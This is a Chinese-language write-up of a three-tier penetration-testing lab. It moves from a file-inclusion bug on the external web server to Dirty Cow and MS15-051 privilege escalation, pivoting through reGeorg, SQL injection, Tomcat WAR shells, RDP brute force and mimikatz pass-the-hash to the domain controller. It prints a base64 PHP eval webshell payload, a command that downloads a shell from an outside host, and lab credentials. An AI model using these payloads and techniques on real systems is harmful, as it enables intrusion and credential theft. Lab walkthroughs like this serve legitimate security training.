记一次三层网络环境的靶场渗透
字数 2030 2025-08-19 12:41:36
三层网络环境靶场渗透实战教学文档
环境准备
- 修改hosts文件:
- 路径:
C:\Windows\System32\drivers\etc\hosts - 添加以下配置:
172.16.6.10 www.theyer.com 172.16.6.10 shop.theyer.com
- 路径:
外网边界渗透
信息收集
-
子域名发现:
- 发现子域名:
shop.theyer.com
- 发现子域名:
-
目录扫描:
- 发现
upload目录(后续利用点)
- 发现
-
端口扫描:
- 发现开放3306端口(MySQL),尝试爆破无果
入口点一:文件包含漏洞利用
-
漏洞发现:
- URL:
http://shop.theyer.com/index.php?page=about.php - 存在文件包含漏洞
- URL:
-
漏洞验证:
- 使用
php://input伪协议执行PHP函数成功
- 使用
-
写入Webshell方法:
- 方法一:直接写入
<?php echo `echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pPz4=|base64 -d > upload/shell.php`; ?> - 方法二:远程下载
<?php copy("http://172.16.8.2/1.txt", "upload/shell.php"); ?> - 注意:直接写入当前目录可能无权限,
upload目录通常有写权限
- 方法一:直接写入
-
获取第一个flag:
- 通过菜刀连接后,在www目录发现第一个flag
提权操作
-
当前用户:
- centos用户(非root)
-
内核提权:
- 检查内核版本,使用脏牛(Dirty Cow)提权
- 步骤:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty test123 - 提权成功后通过SSH连接
- 获取第二个flag
入口点二:APK渗透
-
APK分析:
- 从
www.theyer.com下载APK - 修改后缀为zip获取
class.dex - 反汇编找到接口URL:
.php?id=1
- 从
-
SQL注入:
- 对接口进行SQL注入测试,成功
内网渗透
网络发现
-
双网卡信息:
- 发现内网网段:192.168.6.0/24
-
代理设置:
- 上传reGeorg,配置代理进行内网扫描
主机192.168.6.17渗透
-
信息收集:
- 开放80端口
- 目录扫描(注意控制速度):
python3 dirsearch.py -u http://192.168.6.17/ -e * --delay 0.1 - 发现
admin目录
-
JS源码分析:
- 发现泄漏的API接口:
http://192.168.6.17/message.php?id=1
- 发现泄漏的API接口:
-
SQL注入利用:
- 使用sqlmap:
- 发现flag表和flag字段
- 获取admin表密码:
admin/37s984pass(MD5解密)
- 使用sqlmap:
-
后台getshell:
- 登录后台(admin/37s984pass)
- 在个人信息上传处上传图片马getshell
- Webshell路径:
http://192.168.6.17/upload/images/20200806121306.php - 获取根目录flag
主机192.168.6.16渗透(邮件服务器)
-
配置信息泄露:
- 从
/inc/config.php获取:- SMTP服务器:192.168.6.16
- 凭据:
zhangming@test.com/fgpass2814 - MySQL:
myoa/myoa123123
- 从
-
Web登录:
- 使用邮箱凭据成功登录
-
Cookie注入:
- 发现cookie中
id=1存在SQL注入 - 获取管理员凭据:
admin/22f2e5ec0bf4b85554c755993e2ba67f(解密为2_333admin)
- 发现cookie中
-
Tomcat弱口令:
- 8080端口为Tomcat
- 弱口令:
tomcat/tomcat - 部署war包getshell
- 获取
/var/www和root目录下的flag
-
数据库连接:
- 使用蚁剑连接数据库(注意webshell需要执行权限)
- 获取更多凭据信息
主机192.168.6.200渗透(管理员主机)
-
日志分析:
- 从
/var/log/apache2/access_log发现192.168.6.200访问记录 - 推测为管理员主机
- 从
-
RDP爆破:
- 使用收集的密码组合字典
- 成功登录:
192.168.6.200:3389,凭据admin/2_333admin
-
提权操作:
- 检查系统补丁,使用MS15-051提权
- 全盘搜索flag:
dir c:\ /s /b | find "flag"
域控渗透
-
域环境发现:
- 域名:
myad.com - 域控IP:10.1.1.10(通过ping和nslookup确认)
- 域名:
-
凭据获取:
- 使用mimikatz获取:
- administrator明文:
ppx()0778 - admin明文和$server的hash
- administrator明文:
- 使用mimikatz获取:
-
域控登录:
- 方法一:使用明文凭据
administrator/ppx()0778
- 方法二:哈希传递
- 访问
\\10.1.1.10\c$获取最终flag
- 方法一:使用明文凭据
关键知识点总结
-
文件包含漏洞利用:
- php伪协议使用
- 写入webshell的多种方法
-
提权技术:
- 脏牛提权(Linux)
- MS15-051提权(Windows)
-
内网渗透技巧:
- 代理使用(reGeorg)
- 日志分析获取关键信息
- 凭据重用攻击
-
域渗透技术:
- mimikatz使用
- 哈希传递攻击
-
工具使用:
- sqlmap
- dirsearch
- 蚁剑/菜刀
-
密码策略:
- 密码收集与整理
- 密码爆破技巧
本教学文档完整还原了三层网络环境下的渗透过程,从外网边界突破到内网横向移动,最终获取域控权限的全流程。